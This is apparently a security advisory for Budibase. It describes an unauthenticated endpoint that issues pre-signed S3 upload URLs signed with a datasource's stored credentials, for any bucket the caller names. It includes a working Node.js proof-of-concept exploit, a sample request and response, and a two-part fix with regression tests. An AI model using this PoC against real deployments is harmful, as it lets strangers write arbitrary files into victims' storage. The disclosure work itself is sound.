## Summary
The Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.
The workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's "deny access to dev preview" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.
Net effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.
## Affected code
[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):
```ts
import { permissions } from "@budibase/backend-core"
import Router from "@koa/router"
import { authorizedMiddleware as authorized } from "../../middleware/authorized"
import recaptcha from "../../middleware/recaptcha"
import { paramResource } from "../../middleware/resourceId"
import * as controller from "../controllers/static"
const { BUILDER, PermissionType, PermissionLevel } = permissions
const router: Router = new Router()
// ...
router
.post("/api/attachments/process", authorized(BUILDER), controller.uploadFile)
.post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip)
.post(
"/api/attachments/:tableId/upload",
recaptcha,
paramResource("tableId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.uploadFile
)
// ...
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
controller.getSignedUploadURL // <- no authorized(...)
)
```
Note the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.
[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):
```ts
export const getSignedUploadURL = async function (ctx) {
let datasource
try {
const { datasourceId } = ctx.params
datasource = await sdk.datasources.get(datasourceId, { enriched: true })
if (!datasource) {
ctx.throw(400, "The specified datasource could not be found")
}
} catch (error) {
ctx.throw(400, "The specified datasource could not be found")
}
let signedUrl, publicUrl
const awsRegion = (datasource?.config?.region || "eu-west-1") as string
if (datasource?.source === "S3") {
const { bucket, key } = ctx.request.body || {}
if (!bucket || !key) {
ctx.throw(400, "bucket and key values are required")
}
try {
let endpoint = datasource?.config?.endpoint
if (endpoint && !utils.urlHasProtocol(endpoint)) {
endpoint = `https://${endpoint}`
}
const s3 = new S3({
region: awsRegion,
endpoint,
credentials: {
accessKeyId: datasource?.config?.accessKeyId as string,
secretAccessKey: datasource?.config?.secretAccessKey as string,
},
})
const params = { Bucket: bucket, Key: key }
signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))
if (endpoint) {
publicUrl = `${endpoint}/${bucket}/${key}`
} else {
publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`
}
} catch (error: any) {
ctx.throw(400, error)
}
}
ctx.body = { signedUrl, publicUrl }
}
```
`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.
`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.
## Reproduction
Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):
```js
#!/usr/bin/env node
// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase
// usage: node poc.js <budibase-base-url> <app-id> <datasource-id>
"use strict"
const http = require("http")
const https = require("https")
const { URL } = require("url")
function postJson(targetUrl, headers, body) {
return new Promise((resolve, reject) => {
const u = new URL(targetUrl)
const lib = u.protocol === "https:" ? https : http
const payload = Buffer.from(JSON.stringify(body), "utf8")
const req = lib.request(
{
method: "POST",
protocol: u.protocol,
hostname: u.hostname,
port: u.port || (u.protocol === "https:" ? 443 : 80),
path: u.pathname + u.search,
headers: Object.assign(
{
"Content-Type": "application/json",
"Content-Length": payload.length,
// Deliberately not a recognised browser UA so the
// currentWorkspace dev-preview redirect does not fire.
"User-Agent": "budibase-poc/1.0",
},
headers || {}
),
},
res => {
const chunks = []
res.on("data", c => chunks.push(c))
res.on("end", () =>
resolve({
status: res.statusCode,
body: Buffer.concat(chunks).toString("utf8"),
})
)
}
)
req.on("error", reject)
req.write(payload)
req.end()
})
}
async function main() {
const [baseUrl, appId, datasourceId] = process.argv.slice(2)
if (!baseUrl || !appId || !datasourceId) {
console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>")
process.exit(2)
}
const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket"
const key = process.env.POC_KEY || `pwn/${Date.now()}.html`
const url = baseUrl.replace(/\/$/, "") +
`/api/attachments/${encodeURIComponent(datasourceId)}/url`
const resp = await postJson(
url,
{ "x-budibase-app-id": appId },
{ bucket, key }
)
console.log(`HTTP ${resp.status}`)
console.log(resp.body)
}
main().catch(err => {
console.error(err)
process.exit(1)
})
```
Wire-level request:
```
POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1
Host: budibase.example:10000
x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
Content-Type: application/json
User-Agent: budibase-poc/1.0
Content-Length: 36
{"bucket":"victim-bucket","key":"x.html"}
```
Response:
```
HTTP/1.1 200 OK
Content-Type: application/json
{
"signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject",
"publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html"
}
```
The attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials.
The existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review.
## Impact
- **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.
- **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.
- **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region.
No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`.
## Suggested fix
Attach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only.
Minimal patch shape:
```ts
.post(
"/api/attachments/:datasourceId/url",
recaptcha,
paramResource("datasourceId"),
authorized(PermissionType.TABLE, PermissionLevel.WRITE),
controller.getSignedUploadURL
)
```
And in the controller, before calling `getSignedUrl`:
```ts
const configuredBucket = datasource?.config?.bucket
if (configuredBucket && bucket !== configuredBucket) {
ctx.throw(400, "bucket does not match configured datasource bucket")
}
```
## Credit
Reported by `tonghuaroot` (`tonghuaroot@gmail.com`).
## Fix PR
A candidate fix has been prepared on the temporary private fork that was created from this advisory:
- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1
- Branch: `fix/attachment-url-auth-and-bucket-pin`
- Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url`
The patch is the canonical two-part fix:
1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open.
2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.
Two regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts):
- `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before).
- `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: "other-bucket", key: "bar" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`).
Test run on the patch (Jest, `packages/server`):
```
PASS src/api/routes/tests/static.spec.ts
/static
/attachments
generateSignedUrls
v should be able to generate a signed upload URL
v should reject unauthenticated callers
v should ignore a client-supplied bucket and pin to the datasource's configured bucket
v should reject when the datasource has no configured bucket
v should handle an invalid datasource ID
v should require a key parameter
```